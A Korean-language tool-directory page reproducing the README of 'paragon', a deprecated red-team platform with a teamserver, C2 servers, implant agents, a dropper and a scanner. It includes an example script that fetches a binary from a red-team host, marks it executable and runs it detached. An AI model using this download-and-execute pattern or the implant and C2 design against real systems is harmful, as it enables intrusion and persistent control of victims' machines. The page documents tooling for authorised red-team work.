Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
paragon — 간단한 UI로 공격 도구를 통합하는 것을 목표로 하는 레드 팀 공격 플랫폼 | Kitploit
도구/GitHubGitHub/kcarretto/paragon
Penetration Testing FrameworksExploit FrameworksScripting & AutomationPost-ExploitationCommand and ControlRed TeamingPayload Development
GitHubkcarretto/paragon

paragon

간단한 UI로 공격 도구를 통합하는 것을 목표로 하는 레드 팀 공격 플랫폼

저장소 보기
304422년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

사용 중단 공지

이 프로젝트는 더 이상 사용되지 않습니다. 새 Realm 프로젝트를 참조하세요. 이 프로젝트는 이 저장소를 구축할 때 가졌던 많은 아이디어를 기반으로 합니다.

CI Build Status Go Report Card Coverage Status GitHub release GoDoc

Paragon

Demo

Paragon은 레드 팀 공격 플랫폼입니다. 간단한 UI 뒤에 공격 도구를 통합하여 많은 백엔드 작업을 추상화함으로써 운영자가 임플란트 작성에 집중하고 데이터베이스와 CSS에 대한 걱정을 덜 수 있도록 합니다. 이 저장소는 또한 Paragon에 이미 통합된 일부 공격 도구를 제공하며, 이는 공격 중에 사용할 수 있습니다.

이 저장소는 아직 활발히 개발 중이며 프로덕션 사용 준비가 되지 않았습니다. 안정적인 것으로 간주되면 V1.0.0 태그가 릴리스됩니다. 그때까지 API는 지속적으로 설계를 단순화함에 따라 호환되지 않는 변경이 발생할 수 있습니다. 이 이정표에 더 빨리 도달하는 데 도움을 주고 싶다면 아래 개발자 문서를 읽어보세요.

목차

  • 주요 기능
  • 시작하기
  • 구성 요소 개요
  • FAQ
  • 용어
  • 개발자 가이드

주요 기능

  • 사용자 정의 도구를 쉽게 통합하여 단일 인터페이스 뒤에서 작업을 통합합니다.
  • 제공된 GraphQL API를 사용하여 레드 팀 지식 그래프를 쿼리합니다.
  • 낮은 지연 시간 자동화 및 실시간 처리를 위한 이벤트 방출
  • 배포, 사후 공격 등을 위한 Python 유사 스크립팅 언어
  • 크로스 플랫폼 임플란트 및 배포 포함
  • 운영자 활동을 기록하여 검토를 위한 후속 보고서로 편리하게 집계합니다.

시작하기

저장소를 클론하고 docker-compose up을 실행하여 빠른 데모 인스턴스를 설정할 수 있습니다. 브라우저에서 127.0.0.1:80을 열어 시작하세요!

사용된 이미지는 docker-hub에서 사용할 수 있으며, 프로덕션 배포를 위해 docker-compose 파일에서 구성할 수 있습니다.

구성 요소 개요

스크립팅 언어

이 저장소의 대부분 구성 요소는 Python 유사 스크립팅 언어에 의존하며, 이를 통해 강력한 제어 및 동작 사용자 정의가 가능합니다. 이 언어는 Google의 starlark의 수정된 버전으로, 운영자를 위한 크로스 플랫폼 기능이 확장되었습니다. 이는 에이전트 및 드로퍼(아래 참조)와 같은 도구가 시스템 바이너리(curl, bash 등)에 의존하지 않고 작업을 실행할 수 있게 합니다. 모든 작업은 Golang 코드로 실행되므로 스크립팅 환경에 추가 기능을 추가하는 것이 직관적입니다. 다음은 예제 스크립트입니다:

root@kitploit:~
# Download a file via https, execute it, and don't keep it as a child process.
load("sys", "request")

new_bin = "/tmp/kqwncWECaaV"
request("https://library.redteam.tld", writeToFile=new_bin)

# set new_bin permissions to 0755
chmod(new_bin, ownerRead=True, ownerWrite=True, ownerExec=True, groupRead=True, groupExec=True, worldRead=True, worldExec=True)
exec(new_bin, disown=True)

참고

팀서버

레드 팀 지식 그래프와 인터페이스하기 위한 간단한 웹 애플리케이션 및 GraphQL API를 제공하여 중앙 집중식 진실 소스 뒤에 도구를 통합하고 운영자로부터 많은 지루한 백엔드 문제를 추상화합니다. 사용자 정의 도구를 팀서버와 통합하여(GraphQL API 또는 이벤트 구독 사용) 백엔드 작업 시간을 절약하세요. 팀서버는 모든 활동을 기록하므로 모든 도구가 한 곳에 통합되면 후속 보고서 작성이 훨씬 쉬워집니다.

내장 도구

아래 도구들도 저장소에 포함되어 있습니다. 다양한 크로스 플랫폼 사용 사례에 맞게 쉽게 확장할 수 있습니다.

드로퍼

  • 완전 크로스 플랫폼
  • 에셋을 단일 바이너리로 정적 컴파일
  • 사용자 정의 배포 구성을 위한 Python 유사 스크립팅 언어 제공

Paragon은 에셋(바이너리, 스크립트 등)을 단일 바이너리로 패키징하는 도구를 제공합니다. 실행 시 사용자 정의 배포 스크립트를 실행하여 파일 시스템에 에셋을 쓰고, 프로세스를 시작하고, 파일을 다운로드하고, 오류를 처리하는 등의 작업을 수행할 수 있습니다. 완전 크로스 플랫폼이며 정적으로 컴파일되어 안정적인 배포를 제공합니다. 기능을 확장하려면 컴파일하기 전에 생성된 golang 파일을 간단히 확장하면 됩니다.

에이전트

  • 완전 크로스 플랫폼
  • 사후 공격을 위한 Python 유사 스크립팅 언어 제공
  • 모듈식 통신 메커니즘, 필요한 것만 컴파일
    • 안정적인 콜백을 보장하기 위해 여러 옵션 활용
  • 에이전트가 통신 실패를 처리하는 방식 사용자 정의

작업을 실행하고 실행 결과를 보고하는 임플란트입니다. 기본적으로 Paragon의 Python 유사 스크립팅 언어를 사용하여 작업을 실행하고 http(s)를 통해 C2와 통신하도록 구성됩니다. Go로 작성되었으며 새 전송 방법(예: DNS), 실행 옵션, 장애 조치 로직 등을 추가하기 위해 빠르게 수정할 수 있습니다.

C2

  • 경량 배포
  • 고성능, 수천 개의 에이전트 처리 가능
    • 시스템 리소스 및 사용 가능한 대역폭에 따라 다름
  • 분산 서비스, 원하는 만큼의 C2 사용 가능

에이전트와 팀서버 간의 중개자 역할을 합니다. 다양한 통신 메커니즘에 대한 에이전트 콜백을 처리하고 팀서버 큐의 새 작업을 제공합니다.

러너

  • 낮은 지연 시간, 실시간 작업 실행
  • 더 많은 통신 메커니즘 지원을 위해 쉽게 확장 가능
  • 분산 서비스, 원하는 만큼의 러너 사용 가능

콜백을 기다리는 대신, 일부 상황에서는 작업을 빠르게 실행하고 출력을 보기 위해 순방향 연결이 필요할 수 있습니다. 러너는 작업 큐를 구독하고 대상 머신에 연결(예: ssh 사용)하여 이를 수행합니다. 이를 통해 쉘과 유사한 통합이 임플란트 및 C2와 동일한 인터페이스를 활용할 수 있습니다. 또한 초기 임플란트 배포를 이 인터페이스를 통해 수행할 수 있습니다.

스캐너

  • 도달 가능한 대상 서비스 모니터링
  • 서비스가 (사용 불가) 가능할 때 응답 자동화
  • 지식 그래프에 네트워크 정보 제공, 다른 도구에서 활용 가능
  • 분산 서비스, 원하는 만큼의 스캐너 사용 가능

대상 네트워크 활동 및 표시 서비스를 모니터링합니다. 공격 네트워크의 그래프를 매핑하고 상태 변경(예: ssh 사용 가능) 시 자동화를 트리거합니다.

FAQ

머신이 동일한 UUID를 보고하면 어떻게 되나요?

팀서버에 대해 PG_KS_MachineUUID 킬스위치 환경 변수를 설정하면 머신 UUID를 활용하는 조회가 비활성화됩니다.

용어

이러한 복잡한 시스템에 대한 명확한 의사 소통을 보장하기 위해 아래에 프로젝트 문서 전체에서 사용될 몇 가지 프로젝트별 용어를 설명합니다.

임플란트

공격 중 손상된 시스템에서 실행되는 모든 악성 소프트웨어.

작업

특정 손상된 시스템에서 실행하려는 작업. 작업은 임플란트에 실행 지침을 제공하지만 구문/구조는 도구에 따라 완전히 다를 수 있습니다.

에이전트

팀서버로부터 작업을 받아 실행하고 결과를 보고하는 임플란트. 이 저장소에는 확장 가능한 기본 구현이 포함되어 있으며, 작업은 프로젝트의 Python 유사 DSL로 작성된 스크립트로 제공되어야 합니다.

작업(Job)

팀서버가 주어진 작업 집합을 수행하도록 요청합니다. 작업을 생성하면 지침이 저장되지만 실행되지는 않습니다. 사용자는 작업을 큐에 추가하고 필요한 매개변수를 제공하여 팀서버가 작업을 0회 이상 실행하도록 요청할 수 있습니다. 작업은 업데이트될 수 없지만, 과도한 복사-붙여넣기를 피하기 위해 새 버전의 작업을 만들 수 있습니다.

작업의 일반적인 사용 사례는 사용자가 여러 대상에서 스크립트를 실행하려는 경우입니다. 사용자는 작업을 생성하여 팀서버에 제공된 내용으로 작업을 생성하도록 지시하지만 원하는 대상 머신을 매개변수로 남깁니다. 작업이 큐에 추가되면 사용자는 대상 머신 목록을 매개변수로 제공하고 팀서버는 각 머신에 대한 작업을 생성합니다.

개발자 가이드

아래는 Paragon 개발을 위한 초기 간단 참고 자료입니다. 더 많은 문서는 패키지 godocs에서 찾거나 코드를 읽어보세요 :) 설계 결정이 최종 확정된 후(v1 도달 전) 모든 문서가 업데이트되고 적절히 정리될 때까지 코드 동결이 적용됩니다.

전제 조건

  • Git
  • Docker
  • VSCode
    • 다른 편집기를 사용할 수 있지만 VSCode의 개발 속도를 높이는 사용자 정의를 놓치게 됩니다
    • 시작하려면 Microsoft에서 제공하는 Remote - Containers 확장이 필요합니다.

환경 설정

위에 나열된 전제 조건을 설치한 후 바로 시작할 수 있습니다. 저장소를 클론하고 VSCode에서 엽니다. 개발 컨테이너에서 코드베이스를 열라는 메시지가 표시되며, 이 컨테이너에는 필요한 모든 프로젝트 종속성 및 개발자 도구가 구성되어 있습니다. 이 옵션이 나타나지 않으면 명령 팔레트를 열고 > Remote-Containers: Open Folder In Container를 실행하면 컨테이너가 시작됩니다. 컨테이너를 처음 실행하는 경우 다운로드하는 데 시간이 걸릴 수 있습니다... 커피 한잔 하세요 ^_^

프로젝트 구조

팀서버 참조

지식 그래프

아래는 팀서버가 관리하는 레드 팀 지식 그래프의 노드 간 관계 개요입니다.

Graph

에이전트 참조

전송 우선순위. 자신의 것을 사용하려면 agent.Sender 인터페이스를 구현하고 초기화 중에 전송을 등록하기만 하면 됩니다. 기존 전송의 예는 agent 패키지의 하위 디렉터리에서 찾을 수 있습니다.

작업 실행

기본적으로 에이전트는 작업이 starlark 구문을 따를 것으로 예상하며, 스크립트가 활용할 수 있는 표준 라이브러리를 노출합니다. 작업 실행 동작을 변경하려면(예: bash 명령만 사용) agent.Receiver 인터페이스를 구현하여 원하는 대로 작업을 실행할 수 있습니다.

스크립팅 환경

스크립팅 환경은 에이전트에 맞게 사용자 정의할 수 있어 스크립트가 활용할 새로운 기능을 쉽게 패키징할 수 있습니다. 스크립트 옵션을 참조하여 에이전트의 스크립트 엔진을 확장하는 방법을 알아보세요.

실행 흐름

아래는 에이전트 임플란트의 일반적인 실행 흐름도입니다.

전송 추가

에이전트는 새로운 전송 메커니즘으로 쉽게 사용자 정의할 수 있도록 설계되었으며, 통신을 다중화합니다.

AgentExec

도구 다운로드
폴더용도
.devcontainerVSCode 컨테이너 개발 환경 구성.
.githubGithub 구성.
.stats성능 프로파일링 출력을 저장하기 위한 git 무시 디렉터리(있을 수도 있고 없을 수도 있음).
ent팀서버에서 사용하는 그래프 관련 API 정의.
graphqlent에서 생성된 GraphQL 스키마 및 관련 코드.
cmd명령줄 실행 도구 및 서비스.
dist빌드 아티팩트 저장을 위한 git 무시 디렉터리.
docker예제 배포에 사용되는 Dockerfile.
ent팀서버에서 사용하는 그래프 모델 및 스키마(Facebook의 entgo 도구 참조).
pkg저장소 도구에서 사용되지만 외부에도 공개된 공용 라이브러리.
pkg/agent임플란트 또는 통신 전송을 쉽게 생성하기 위한 추상화.
pkg/c2C2 서비스 관련 헬퍼 및 표준화된 메시지 정의.
pkg/c2/proto에이전트 <-> C2 통신을 위한 표준화된 직렬화 형식을 정의하는 Protobuf 사양.
pkg/drop컴파일된 드로퍼 페이로드에서 사용하는 간단한 메서드 제공.
pkg/middlewareHTTP 서비스를 위한 공용 미들웨어.
pkg/script동적 구성, 자동화 및 크로스 플랫폼 공격을 위한 Python 유사 스크립팅 언어.
pkg/script/stdlib스크립팅 실행 환경에 기능을 노출하는 표준 라이브러리.
pkg/teamserver팀서버 서비스 관련 헬퍼.
www팀서버에서 호스팅하는 기본 웹 애플리케이션. Facebook의 create-react-app 애플리케이션으로 생성됨.
www/src/components재사용 가능한 리액트 컴포넌트.
www/src/config웹 앱 구성 및 라우팅.
www/src/views팀서버에서 데이터를 쿼리하고 컴포넌트를 조합하여 렌더링하는 컨테이너.